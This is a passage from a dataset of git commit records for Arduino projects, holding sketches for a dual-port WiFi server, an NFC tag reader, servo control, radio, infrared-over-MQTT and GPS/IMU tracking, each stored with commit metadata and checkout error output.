server\n\/\/ specify the port to listen on as an argument\nWiFiServer server80(80);\nWiFiServer server8080(8080);\n\nvoid setup() {\n Serial.begin(115200);\n delay(10);\n\n \/\/ prepare built-in led (in off state)\n pinMode(LED_BUILTIN, OUTPUT);\n digitalWrite(LED_BUILTIN, HIGH);\n \n \/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n \/\/ Start the servers\n server80.begin();\n server8080.begin();\n Serial.println(\"Servers started\");\n\n \/\/ Print the IP address\n Serial.println(WiFi.localIP());\n}\n\nvoid loop() {\n \/\/ Check if a client has connected\n WiFiClient client80 = server80.available();\n WiFiClient client8080 = server8080.available();\n\n if (client80) {\n \n Serial.println(\"\");\n Serial.println(\"*************************************\");\n Serial.println(\"* New client connected to port 80 ! *\");\n Serial.println(\"*************************************\");\n Serial.println(\"\");\n\n while (client80.status()){\n \/\/ Read until End-Of-String (NULL character)\n String req = client80.readStringUntil('\\0');\n Serial.print(req);\n }\n\n Serial.println(\"\");\n Serial.println(\"*****************************\");\n Serial.println(\"* Client has DISCONNECTED ! *\");\n Serial.println(\"*****************************\");\n Serial.println(\"\");\n \n }\n\n if (client8080) {\n \n Serial.println(\"\");\n Serial.println(\"**************************************\");\n Serial.println(\"* New client connected to port 8080! *\");\n Serial.println(\"**************************************\");\n Serial.println(\"\");\n\n while (client8080.status()){\n \/\/ Read until End-Of-String (NULL character)\n String req = client8080.readStringUntil('\\0');\n Serial.print(req);\n }\n\n Serial.println(\"\");\n Serial.println(\"*****************************\");\n Serial.println(\"* Client has DISCONNECTED ! *\");\n Serial.println(\"*****************************\");\n Serial.println(\"\");\n \n }\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'WiFiWebServer-dual-port\/WiFiWebServer-dual-port.ino' did not match any file(s) known to git\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"9a144581402f70146b1778fa2fe2bac9416419fb","subject":"start of tests for new powerboard.","message":"start of tests for new powerboard.\n","repos":"dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem,dirkx\/AccesSystem","old_file":"test\/PoE-test\/PowerBoard-Basisboard-v1.1\/Basic-Tests\/Basic-Tests.ino","new_file":"test\/PoE-test\/PowerBoard-Basisboard-v1.1\/Basic-Tests\/Basic-Tests.ino","new_contents":"\/\/ https:\/\/wiki.makerspaceleiden.nl\/mediawiki\/index.php\/Powernode_1.1\n#define AART_LED (GPIO_NUM_4)\n#define RELAY (GPIO_NUM_5)\n#define CURRENT_COIL (GPIO_NUM_15)\n#define SW2 (GPIO_NUM_2)\n\nvoid setup() {\n Serial.begin(115200);\n Serial.print(\"Booting \");\n Serial.println(__FILE__);\n Serial.println(__DATE__ \" \" __TIME__);\n\n \/\/ put your setup code here, to run once:\n pinMode(AART_LED, OUTPUT);\n pinMode(RELAY, OUTPUT);\n pinMode(CURRENT_COIL, INPUT); \/\/ analog\n}\n\nvoid loop() {\n#ifdef AART_LED\n{\n static unsigned long aartLedLastChange = 0;\n static int aartLedState = 0;\n if (millis() - aartLedLastChange > 1000) {\n aartLedState = (aartLedState + 1) & 7;\n digitalWrite(AART_LED, aartLedState == 0 ? HIGH : LOW);\n aartLedLastChange = millis();\n };\n }\n#endif\n\n#ifdef RELAY\n {\n static unsigned long relayLastChange = 0;\n if (millis() - relayLastChange > 1000) {\n digitalWrite(RELAY, !digitalRead(RELAY));\n relayLastChange = millis();\n };\n }\n#endif\n\n#ifdef CURRENT_COIL\n {\n static unsigned long lastCurrentMeasure = 0;\n if (millis() - lastCurrentMeasure > 1000) {\n Serial.printf(\"Current %f\\n\", analogRead(CURRENT_COIL)\/1024.);\n lastCurrentMeasure = millis();\n };\n }\n#endif\n\n#ifdef SW2\n {\n static unsigned long lastStateSW2 = 0;\n if (digitalRead(SW2) != lastStateSW2) {\n Serial.printf(\"Current state SW2: %d\\n\", digitalRead(SW2));\n lastStateSW2 = digitalRead(SW2);\n };\n }\n#endif\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/PoE-test\/PowerBoard-Basisboard-v1.1\/Basic-Tests\/Basic-Tests.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"dbff9a571a1e3383413d4cc0f88044141d87239c","subject":"add letters limitation","message":"add letters limitation\n","repos":"axibase\/arduino,axibase\/arduino,axibase\/arduino","old_file":"dataTransmission\/atsd_mqtt_example\/atsd_mqtt_example.ino","new_file":"dataTransmission\/atsd_mqtt_example\/atsd_mqtt_example.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/axibase\/arduino.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"9e39e0bbcfdaa76bab633996c4571788b757be87","subject":"\u6444\u50cf\u5934\u4e91\u53f0\uff08\u8235\u673a\u2014\u201410\u670830\u65e5\uff09","message":"\u6444\u50cf\u5934\u4e91\u53f0\uff08\u8235\u673a\u2014\u201410\u670830\u65e5\uff09\n","repos":"Tarsbot\/RabbitArduino,Tarsbot\/RabbitArduino","old_file":"servo_10_30_speedslow\/servo_10_30_speedslow.ino","new_file":"servo_10_30_speedslow\/servo_10_30_speedslow.ino","new_contents":"\/\/gongwenbo in tarsbot 10.23\n\n#if (ARDUINO >= 100)\n #include <Arduino.h>\n#else\n #include <WProgram.h>\n#endif\n\n#include <Servo.h> \n#include <ros.h>\n#include <dependant_api\/robotcmd_motor.h> \/\/quote ros message \n\nint temp_vertical= 0; \/\/vertical temporary parameters\nint temp_horizontal= 0; \/\/ horizontal temporary parameter\nint flag_save_ver_angle; \/\/ protect vertical angle\nint flag_h; \nros::NodeHandle nh;\nServo servo_vertical; \/\/define vertical servo\nServo servo_horizontal; \/\/define horizontal servo\n\nvoid servo_cb(const dependant_api::robotcmd_motor& cmd_msg)\n{ \n flag_h=cmd_msg.hor_angle;\n flag_save_ver_angle=cmd_msg.ver_angle;\n if (flag_save_ver_angle>130) flag_save_ver_angle=130; \/\/ the rang of vertical angle is 0~130 \n\n \/*\n if (cmd_msg.hor_angle>temp_horizontal)\n {\n while(temp_horizontal<cmd_msg.hor_angle)\n {\n servo_horizontal.write(temp_horizontal);\n delay (10);\n temp_horizontal++;\n }\n }\n else if (cmd_msg.hor_angle<temp_horizontal) \n {\n while(temp_horizontal>cmd_msg.hor_angle)\n {\n servo_horizontal.write(temp_horizontal);\n delay (10);\n temp_horizontal--;\n }\n }\n \n else if (cmd_msg.ver_angle>temp_vertical)\n {\n while(temp_vertical<cmd_msg.ver_angle)\n {\n servo_vertical.write(temp_vertical);\n delay (10);\n temp_vertical++;\n }\n }\n else if (cmd_msg.ver_angle>temp_vertical)\n {\n while(temp_vertical>cmd_msg.ver_angle)\n {\n servo_vertical.write(temp_vertical);\n delay (10);\n temp_vertical--;\n }\n }\n \n temp_horizontal=cmd_msg.hor_angle ;\n temp_vertical=cmd_msg.ver_angle ;\n *\/\n \/\/ servo.write(cmd_msg.angle); \/\/set servo angle, should be from 0-180 \n digitalWrite(13, HIGH-digitalRead(13)); \/\/toggle led \n}\n\n\nros::Subscriber<dependant_api::robotcmd_motor> sub(\"\/robotcmd\/motor\", servo_cb);\n\nvoid setup(){\n pinMode(13, OUTPUT);\n\n nh.initNode();\n nh.subscribe(sub);\n \n servo_vertical.attach(10); \/\/attach vertical servo to pin 9\n servo_horizontal.attach(9); \/\/attach horiziontal servo to pin 10\n}\n\nvoid loop(){\n nh.spinOnce();\n \n if (flag_save_ver_angle>temp_vertical) temp_vertical++; \/\/----------------deceletate vertical servo speed--------------------\/\/\n else if(flag_save_ver_angle<temp_vertical) temp_vertical--;\n else temp_vertical=flag_save_ver_angle; \/\/----------------deceletate vertical servo speed--------------------\/\/\n \n if (flag_h>temp_horizontal) temp_horizontal++; \/\/----------------deceletate horizontal servo speed--------------------\/\/\n else if(flag_h<temp_horizontal) temp_horizontal--;\n else temp_horizontal=flag_h; \/\/----------------deceletate horizontal servo speed--------------------\/\/\n \n servo_vertical.write(180-temp_vertical); \/\/adjust servo orientation\n delay (10); \/\/the frequence of scanning\n servo_horizontal.write(temp_horizontal);\n delay (10);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'servo_10_30_speedslow\/servo_10_30_speedslow.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22f720972cd3751403ae2d1290332d2ce480d1ab","subject":"Adding example to demonstrate automatic selection of RFM12B or other radio module.","message":"Adding example to demonstrate automatic selection of RFM12B or other\nradio module.\n","repos":"stevemarple\/RF12_Stream","old_file":"examples\/RFM12B_autoselect\/RFM12B_autoselect.ino","new_file":"examples\/RFM12B_autoselect\/RFM12B_autoselect.ino","new_contents":"\/*\n * Example sketch to demonstrate the concept of how a single firmware\n * image can support the RFM12B and Ciseco XRF (or XBee) modules,\n * autoselecting between them depending on the hardware fitted.\n *\n *\/\n\n\n#include <AsyncDelay.h>\n#include <CircBuffer.h>\n#include <RF12.h>\n#include <RF12_Stream.h>\n\n\/\/ Pin mapping is for Calunium, adjust to suit your hardware.\nconst uint8_t rfm12bCs = 14;\nconst uint8_t rfm12bIrqPin = 6;\nconst uint8_t rfm12bIrqNum = 2;\n\nuint8_t rxBuffer[60];\nuint8_t txBuffer[60];\nRF12_Stream rfm12b(rxBuffer, sizeof(rxBuffer), txBuffer, sizeof(txBuffer));\n\n\/* Reference to the radio module. Default to RFM12B since Serial might\n * not exist (eg ATtiny). Use RF12_Stream::begin() in setup() to point\n * the reference to Serial if the RFM12B is not found.\n *\/\nStream &radio = rfm12b;\n\nAsyncDelay txTimer;\n\nvoid setup(void)\n{\n#ifdef SS\n pinMode(SS, OUTPUT);\n#endif\n Serial.begin(9600);\n if (rfm12b.begin(rfm12bCs, rfm12bIrqPin, rfm12bIrqNum, 1, RF12_433MHZ)) {\n \/\/ RFM12B exists, add any other RFM12B setup code here\n ;\n }\n else {\n \/\/ No RFM12B, must use XRF\n radio = Serial;\n }\n}\n\n\nvoid loop(void)\n{\n if (RF12_Stream::isPresent)\n rfm12b.poll();\n \n \/\/ Do your stuff here\n\n if (txTimer.isExpired()) {\n \/\/ Send message every second\n radio.print(\"Send a message\");\n txTimer.start(1000, AsyncDelay::MILLIS);\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/RFM12B_autoselect\/RFM12B_autoselect.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cc3d0269f203d85786adb9b23a665b5bebbd9ece","subject":"Code cleanup","message":"Code cleanup\n","repos":"DrTrust\/ftg-main,DrTrust\/ftg-main,DrTrust\/ftg-main,DrTrust\/ftg-main","old_file":"Arduino\/POC\/VoorbeeldcodeNFCtaguitlezen\/VoorbeeldcodeNFCtaguitlezen.ino","new_file":"Arduino\/POC\/VoorbeeldcodeNFCtaguitlezen\/VoorbeeldcodeNFCtaguitlezen.ino","new_contents":"\/**************************************************************************\/\n\/*! \n This example will attempt to connect to an ISO14443A\n card or tag and retrieve some basic information about it\n that can be used to determine what type of card it is. \n \n Note that you need the baud rate to be 115200 because we need to print\n out the data and read from the card at the same time!\n\n To enable debug message, define DEBUG in PN532\/PN532_debug.h\n \n*\/\n\/**************************************************************************\/\n\n#include <SPI.h>\n#include <PN532_SPI.h>\n#include \"PN532.h\"\n\nPN532_SPI pn532spi(SPI, 10);\nPN532 nfc(pn532spi);\n\nvoid setup(void) {\n Serial.begin(115200);\n Serial.println(\"Hello!\");\n\n nfc.begin();\n\n uint32_t versiondata = nfc.getFirmwareVersion();\n if (! versiondata) {\n Serial.print(\"Didn't find PN53x board\");\n while (1); \/\/ halt\n }\n \n \/\/ Got ok data, print it out!\n Serial.print(\"Found chip PN5\"); Serial.println((versiondata>>24) & 0xFF, HEX); \n Serial.print(\"Firmware ver. \"); Serial.print((versiondata>>16) & 0xFF, DEC); \n Serial.print('.'); Serial.println((versiondata>>8) & 0xFF, DEC);\n \n \/\/ Set the max number of retry attempts to read from a card\n \/\/ This prevents us from waiting forever for a card, which is\n \/\/ the default behaviour of the PN532.\n nfc.setPassiveActivationRetries(0xFF);\n \n \/\/ configure board to read RFID tags\n nfc.SAMConfig();\n \n Serial.println(\"Waiting for an ISO14443A card\");\n}\n\nvoid loop(void) {\n boolean success;\n uint8_t uid[] = { 0, 0, 0, 0, 0, 0, 0 }; \/\/ Buffer to store the returned UID\n uint8_t uidLength; \/\/ Length of the UID (4 or 7 bytes depending on ISO14443A card type)\n \n \/\/ Wait for an ISO14443A type cards (Mifare, etc.). When one is found\n \/\/ 'uid' will be populated with the UID, and uidLength will indicate\n \/\/ if the uid is 4 bytes (Mifare Classic) or 7 bytes (Mifare Ultralight)\n success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, &uid[0], &uidLength);\n \n if (success) {\n \/\/ Serial.println(\"Found a card!\");\n \/\/ Serial.print(\"UID Length: \");Serial.print(uidLength, DEC);Serial.println(\" bytes\");\n \/\/ Serial.print(\"UID Value: \");\n for (uint8_t i=0; i < uidLength; i++) \n {\n Serial.print(\" 0x\");Serial.print(uid[i], HEX); \n }\n Serial.println(\"\");\n \/\/ Wait 1 second before continuing\n delay(1000);\n }\n else\n {\n \/\/ PN532 probably timed out waiting for a card\n Serial.println(\"Timed out waiting for a card\");\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/POC\/VoorbeeldcodeNFCtaguitlezen\/VoorbeeldcodeNFCtaguitlezen.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0c80c76fdc7186493390c82ac8d304c8af36af22","subject":"physical-programming: add example file","message":"physical-programming: add example file\n\nSigned-off-by: Sean Cross <d7e19930cc1f42c2d0781f4d9e6f1fe5891bf9cf@xobs.io>\n","repos":"chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer,chibitronics\/ltc-webview-layer","old_file":"app\/examples\/chibitronics\/PhysicalProgramming\/physical-programming.ino","new_file":"app\/examples\/chibitronics\/PhysicalProgramming\/physical-programming.ino","new_contents":"\/*\r\n Physical programming demo (default for LtC stickers)\r\n\r\n Tap patterns onto buttons A1 or A3 to make the led on A2 or RGB LED flash.\r\n Pattern can be up to 5 seconds long and is stored in nonvolatile memory (persistent through power outage).\r\n\r\n Pattern is actually stored as an analog value, so if one were to connect\r\n a variable voltage source to pins A1 or A3, the pattern stored is analog.\r\n\r\n bunnie - June 2 2016\r\n \r\n *\/\r\n\r\n#include \"Adafruit_NeoPixel.h\"\r\n#include \"EEPROM.h\"\r\n\r\n#define LOOP_INTERVAL_MS 25 \/\/ sample @ 40 times per second\r\n#define LOOP_LENGTH 200 \/\/ 5 second loop total length\r\n\r\nuint8_t led_vals[LOOP_LENGTH];\r\nuint8_t rgb_vals[LOOP_LENGTH];\r\n\r\nAdafruit_NeoPixel strip = Adafruit_NeoPixel(1, LED_BUILTIN_RGB, NEO_GRB + NEO_KHZ800);\r\n\r\nint led = A2;\r\nint ledInput = A1;\r\nint rgbInput = A3;\r\nint recInput = BUTTON_REC; \/\/ special button for physical programming mode\r\n\r\nenum operation_modes {\r\n PLAYBACK = 0,\r\n RECORD_SETUP,\r\n RECORDING,\r\n RECORD_COMMIT,\r\n};\r\n\r\nint mode = PLAYBACK;\r\nunsigned long rec_start;\r\nunsigned long play_start;\r\nint lastRecIndex = -1;\r\nint runtimeLength = LOOP_LENGTH;\r\n\r\ntypedef struct RgbColor {\r\n uint8_t r;\r\n uint8_t g;\r\n uint8_t b;\r\n} RgbColor;\r\n\r\nRgbColor hueToRgb(uint8_t hue) {\r\n RgbColor rgb;\r\n unsigned char region, remainder, p, q, t;\r\n uint8_t sat = 235;\r\n uint8_t val = (255 - hue) \/ 4; \/\/ a little dimmer for all conversions\r\n \r\n if( val < 4 ) \/\/ get rid of idle flicker\r\n val = 0;\r\n \r\n region = hue \/ 43;\r\n remainder = (hue - (region * 43)) * 6;\r\n\r\n p = (val * (255 - sat)) >> 8;\r\n q = (val * (255 - ((sat * remainder) >> 8))) >> 8;\r\n t = (val * (255 - ((sat * (255 - remainder)) >> 8))) >> 8;\r\n\r\n switch (region)\r\n {\r\n case 0:\r\n rgb.r = val; rgb.g = t; rgb.b = p;\r\n break;\r\n case 1:\r\n rgb.r = q; rgb.g = val; rgb.b = p;\r\n break;\r\n case 2:\r\n rgb.r = p; rgb.g = val; rgb.b = t;\r\n break;\r\n case 3:\r\n rgb.r = p; rgb.g = q; rgb.b = val;\r\n break;\r\n case 4:\r\n rgb.r = t; rgb.g = p; rgb.b = val;\r\n break;\r\n default:\r\n rgb.r = val; rgb.g = p; rgb.b = q;\r\n break;\r\n }\r\n return rgb;\r\n}\r\n\r\n\r\nvoid setup() {\r\n int i;\r\n\r\n for( i = 0; i < LOOP_LENGTH; i++ ) {\r\n led_vals[i] = EEPROM.read(i);\r\n rgb_vals[i] = EEPROM.read(i + LOOP_LENGTH);\r\n }\r\n runtimeLength = EEPROM.read(LOOP_LENGTH * 2);\r\n if(runtimeLength > LOOP_LENGTH)\r\n runtimeLength = LOOP_LENGTH;\r\n \r\n pinMode(led, OUTPUT);\r\n \r\n strip.begin();\r\n strip.show();\r\n\r\n pinMode(ledInput, INPUT);\r\n pinMode(rgbInput, INPUT);\r\n\r\n pinMode(recInput, INPUT_PULLUP);\r\n\r\n play_start = millis();\r\n\r\n pinMode(A0, OUTPUT);\r\n digitalWrite(A0, HIGH); \/\/ provide an easy +3V reference for pots on A0\r\n \r\n \/\/ activate a hidden feature pullup on PTB2 to stabilize color when input is floating\r\n *((unsigned int *)0x4004A008) |= 0x103;\r\n}\r\n\r\n\r\nvoid playTimeStep() {\r\n int index;\r\n RgbColor rgb;\r\n\r\n index = ((millis() - play_start) \/ LOOP_INTERVAL_MS) % runtimeLength;\r\n\r\n analogWrite(led, led_vals[index]);\r\n rgb = hueToRgb(rgb_vals[index]);\r\n strip.setPixelColor(0, strip.Color(rgb.r, rgb.g, rgb.b));\r\n strip.show();\r\n}\r\n\r\nvoid recordTimeStep() {\r\n int index;\r\n int i;\r\n uint8_t rgbVal;\r\n uint8_t ledVal;\r\n RgbColor rgb;\r\n\r\n uint32_t avg;\r\n\r\n index = ((millis() - rec_start) \/ LOOP_INTERVAL_MS);\r\n if( index == lastRecIndex ) \/\/ already sampled this interval's data, don't do anything\r\n return;\r\n\r\n if( index >= LOOP_LENGTH ) { \/\/ sampled through end of loop, don't do anything\r\n runtimeLength = LOOP_LENGTH;\r\n return;\r\n }\r\n \r\n runtimeLength = index;\r\n\r\n \/\/ make sure we've advanced exactly one time step; if not, backfill gaps\r\n if( (index - lastRecIndex) != 1 ) {\r\n if( (lastRecIndex >= 0) && (lastRecIndex < LOOP_LENGTH ) ) {\r\n rgbVal = rgb_vals[lastRecIndex];\r\n ledVal = led_vals[lastRecIndex];\r\n } else {\r\n \/\/ this is the case that our first iteration into here took longer than LOOP_INTERVAL_MS to arrive...\r\n rgbVal = 255; \/\/ just a default value \r\n ledVal = 255;\r\n }\r\n \/\/ just copy the last known good value forward; maybe more intelligent to interpolate if this was really a problem\r\n \/\/ you encounter this mostly when you insert a lot of serial debug infos in the loop\r\n for( i = lastRecIndex + 1; i < index; i++ ) {\r\n rgb_vals[i] = rgbVal;\r\n led_vals[i] = ledVal;\r\n }\r\n }\r\n\r\n \/\/ put a little more averaging on the RGB input because it's very sensitive to noise\r\n avg = 0;\r\n for( i = 0; i < 8; i++ ) {\r\n avg += analogRead(rgbInput);\r\n }\r\n avg \/= 8;\r\n \/\/ now grab the new index value\r\n rgbVal = (uint8_t) (avg \/ 16); \/\/ 4096 is max analog value (hardware constraint)\r\n ledVal = (uint8_t) (analogRead(ledInput) \/ 16);\r\n \r\n rgb_vals[index] = rgbVal;\r\n led_vals[index] = ledVal;\r\n\r\n lastRecIndex = index;\r\n \r\n \/\/ reflect this out the status LEDs\r\n analogWrite(led, led_vals[index]);\r\n rgb = hueToRgb(rgb_vals[index]);\r\n strip.setPixelColor(0, strip.Color(rgb.r, rgb.g, rgb.b));\r\n strip.show();\r\n}\r\n\r\nvoid flushData() {\r\n int i;\r\n \/\/ the hardware does better with sequential writes than interleaved writes\r\n \/\/ we also don't want to continuously write to EEPROM because on the Chibi LtC this is acutally FLASH\r\n \/\/ which can wear out after 10k write cycles\r\n for( i = 0; i < LOOP_LENGTH; i++ ) {\r\n EEPROM.write(i, led_vals[i]);\r\n }\r\n for( i = 0; i < LOOP_LENGTH; i++ ) {\r\n EEPROM.write(i + LOOP_LENGTH, rgb_vals[i]);\r\n }\r\n EEPROM.write(LOOP_LENGTH * 2, runtimeLength);\r\n \r\n}\r\n\r\nvoid loop() {\r\n\r\n switch(mode) {\r\n case PLAYBACK:\r\n playTimeStep();\r\n if( digitalRead(BUTTON_REC) == LOW )\r\n mode = RECORD_SETUP;\r\n break;\r\n case RECORD_SETUP:\r\n rec_start = millis();\r\n lastRecIndex = -1;\r\n mode = RECORDING;\r\n break;\r\n case RECORDING:\r\n recordTimeStep();\r\n if( digitalRead(BUTTON_REC) == HIGH )\r\n mode = RECORD_COMMIT;\r\n break;\r\n case RECORD_COMMIT:\r\n flushData();\r\n play_start = millis();\r\n mode = PLAYBACK;\r\n break;\r\n default:\r\n mode = PLAYBACK;\r\n }\r\n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'app\/examples\/chibitronics\/PhysicalProgramming\/physical-programming.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9fd43df9616c31efb81e7f7801ae38d630d5702e","subject":"src: initial version of the MqttIRReceiver","message":"src: initial version of the MqttIRReceiver\n","repos":"mhdawson\/arduino-esp8266,mhdawson\/arduino-esp8266","old_file":"MqttIRReceiver\/MqttIRReceiver.ino","new_file":"MqttIRReceiver\/MqttIRReceiver.ino","new_contents":"\/\/ Copyright 2017 the project authors as listed in the AUTHORS file.\n\/\/ All rights reserved. Use of this source code is governed by the\n\/\/ license that can be found in the LICENSE file.\n\n#include <ESP8266WiFi.h>\n#include <PubSubClient.h>\n#include \"limits.h\"\n#include <string>\n#include \"WirelessConfig.h\"\n\n#define RX_IR_PIN D5\n#define DELAY_MILLIS 50\n#define MAX_CODE_ENTRIES 500\n#define END_TIME_VALUE 100000\n#define MIN_MESSAGE_ENTRIES 20\n#define IR_TOPIC \"house\/ir1\"\n\nstatic unsigned int globalEntries[MAX_CODE_ENTRIES];\nstatic int globalCurrentEntry = 0;\nstatic unsigned long globalLastInterruptTime;\n\nIPAddress server(mqttServer[0], mqttServer[1],\n mqttServer[2], mqttServer[3]);\n\nWiFiClient wclient;\nESP8266WiFiGenericClass wifi;\n\nvoid callback(char* topic, uint8_t* message, unsigned int length) {\n};\nPubSubClient client(mqttServerString, mqttServerPort, callback, wclient);\n\nICACHE_RAM_ATTR void handleInterrupt() {\n\n \/\/ get the duration of the pulse\n unsigned long timeMicros = micros();\n unsigned long duration = timeMicros - globalLastInterruptTime;\n if (duration > ((unsigned int) duration)) {\n duration = INT_MAX;\n }\n globalEntries[globalCurrentEntry] = duration;\n globalCurrentEntry++;\n globalLastInterruptTime = timeMicros;\n if (globalCurrentEntry == MAX_CODE_ENTRIES -1) {\n globalCurrentEntry = 0;\n }\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial.println(\"starting\");\n\n pinMode(RX_IR_PIN, INPUT);\n attachInterrupt(digitalPinToInterrupt(RX_IR_PIN),&handleInterrupt,CHANGE);\n\n \/\/ turn of the Access Point as we are not using it\n wifi.mode(WIFI_STA);\n\n WiFi.begin(ssid, pass);\n if (WiFi.waitForConnectResult() == WL_CONNECTED) {\n Serial.println(\"WiFi connected\");\n }\n}\n\nint count = 0;\n\nvoid loop() {\n client.loop();\n\n \/\/ make sure we are good for wifi\n if (WiFi.status() != WL_CONNECTED) {\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n WiFi.reconnect();\n\n if (WiFi.waitForConnectResult() != WL_CONNECTED) {\n Serial.println(\"Failed to reconnect WIFI\");\n Serial.println(WiFi.waitForConnectResult());\n delay(100);\n return;\n }\n }\n\n if (!client.connected()) {\n Serial.println(\"PubSub not connected\");\n String clientId = String(IR_TOPIC) + String(\"IR_Receiver\");\n if (client.connect(clientId.c_str())) {\n Serial.println(\"PubSub connected\");\n \/\/client.subscribe(LED_TOPIC);\n } else {\n Serial.println(\"PubSub failed to connect\");\n }\n }\n\n delay(DELAY_MILLIS);\n\n \/\/ calculate how long we have been waiting for a change\n long lastInterruptTime = globalLastInterruptTime;\n long duration = micros() - globalLastInterruptTime;\n if ((duration > END_TIME_VALUE)&&(globalCurrentEntry != 0)) {\n unsigned int currentEntries[MAX_CODE_ENTRIES];\n int numberEntries = 0;\n bool emitMessage = false;\n noInterrupts();\n \/\/ now that we have disabled interrupts validate that there hvae been no changes since\n \/\/ we read the current value. If there have been then we are not at the end\n \/\/ of the message or a new code is already being received so just wait until all is done\n if (lastInterruptTime == globalLastInterruptTime) {\n \/\/ copy over the values\n numberEntries = globalCurrentEntry;\n memcpy(currentEntries, globalEntries, sizeof(int)*globalCurrentEntry);\n globalCurrentEntry = 0;\n if (numberEntries > MIN_MESSAGE_ENTRIES) {\n \/\/ anything shorter is not a real message\n emitMessage = true;\n }\n }\n interrupts();\n if (emitMessage) {\n String message;\n for (int i=0; i < numberEntries; i++) {\n char buffer[sizeof(int)*2 + 1];\n message = message + String(ltoa(currentEntries[i], buffer, 16));\n if (i != numberEntries -1) {\n message = message + String(\",\");\n }\n }\n client.publish(IR_TOPIC, message.c_str());\n }\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MqttIRReceiver\/MqttIRReceiver.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5fc6bf916289bb450fa44d563805728789cf48f0","subject":"Begin modifying arduino code to also control steppers.","message":"Begin modifying arduino code to also control steppers.\n","repos":"LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017,LBCC-SpaceClub\/HAB2017","old_file":"shipStation\/lbcc_ship_stepper\/lbcc_ship_stepper.ino","new_file":"shipStation\/lbcc_ship_stepper\/lbcc_ship_stepper.ino","new_contents":"\/*\n * Author: Dylan Trafford (EE\/CpE), Trevor Gahl (CpE), Gabe Gordon (MSGC MAP Student). Adapted from example code from Adafruit.com\n * Modified for Linn-Benton Community College by Levi Willmeth\n * Developed for use by MSGC BOREALIS Program\n * Purpose: To transmit data from a GPS and IMU unit to a computer for ground station positional data.\n * Note: Sends comma seperated data lead by a '~'. When the recieving computer sees a tilda, it knows it is the beginning of the line.\n *\/\n\n\/\/Included Libraries (some libraries are imported even though they are included in the base packages)\n#include <Adafruit_GPS.h>\n#include <SoftwareSerial.h>\n#include <Wire.h>\n#include <SPI.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BNO055.h>\n#include <utility\/imumaths.h>\n#include <math.h>\n\n\/\/Defines (string replace constants)\n#define GPSECHO false\n\n\/\/Instance Initializations\n\/\/Initializes an instance of the BNO055 called bno with an I2C address of 55\nAdafruit_BNO055 bno = Adafruit_BNO055(55);\n\/\/Initializes an instance of SoftwareSerial called mySerial with RX and TX on pins 8 and 7\nSoftwareSerial mySerial(8, 7);\n\/\/Initializes an instance of Adafruit_GPS called GPS using the mySerial instance\nAdafruit_GPS GPS(&mySerial);\n\n\/\/Global Intializations\nboolean usingInterrupt = true;\nboolean calibrated = true;\n\nfloat findBearing(float tLat, float tLon, float pLat, float pLon)\n{\n \/\/ Returns bearing from tracker gps to payload gps\n tLat = degToRad(tLat);\n tLon = degToRad(tLon);\n pLat = degToRad(pLat);\n pLon = degToRad(pLon);\n float deltaLon = pLon - tLon;\n\n float bearing = atan2(\n (sin(deltaLon) * cos(pLat)),\n (cos(tLat) * sin(pLat) - sin(tLat) * cos(pLat) * cos(deltaLon))\n );\n float remainder = round(bearing);\n \/\/ Modulus only works on integers\n bearing = int(radToDeg(bearing)+360) % 360; \/\/ stay within 0-360 degrees\n bearing += remainder;\n return bearing;\n}\n\nfloat degToRad(float deg)\n{\n \/\/ Takes degrees, returns radians\n return deg * M_PI \/ 180;\n}\n\nfloat radToDeg(float rad)\n{\n \/\/ Takes radians, returns degrees\n return rad * 180.0 \/ M_PI;\n}\n\nvoid setup()\n{\n \/\/Launches a serial connection with a 115200 baud rate\n Serial.begin(115200);\n while(!Serial){ ; }\n Serial.println(\"Linn-Benton Community College, Eclipse 2017 payload tracker starting up..\");\n \/\/Launches the IMU. It returns a true value if it successfully launches.\n if(!bno.begin()){\n \/* There was a problem detecting the BNO055 ... check your connections *\/\n Serial.println(\"Ooops, no BNO055 detected ... Check your wiring or I2C ADDR!\");\n while(1);\n } else {\n Serial.println(\"BNO055 IMU detected..\");\n }\n GPS.begin(9600);\n delay(500);\n bno.setExtCrystalUse(true); \/\/Use the external clock in the IMU\n bno.setMode(bno.OPERATION_MODE_NDOF);\n GPS.sendCommand(PMTK_SET_NMEA_OUTPUT_RMCGGA); \/\/String formatting on the GPS\n GPS.sendCommand(PMTK_SET_NMEA_UPDATE_1HZ); \/\/GPS packet dump rate\n GPS.sendCommand(PGCMD_ANTENNA);\n useInterrupt(usingInterrupt); \/\/Set to use or not use the interrupt for GPS parcing\n delay(100);\n}\n\n\/\/ Interrupt is called once a millisecond, looks for any new GPS data, and stores 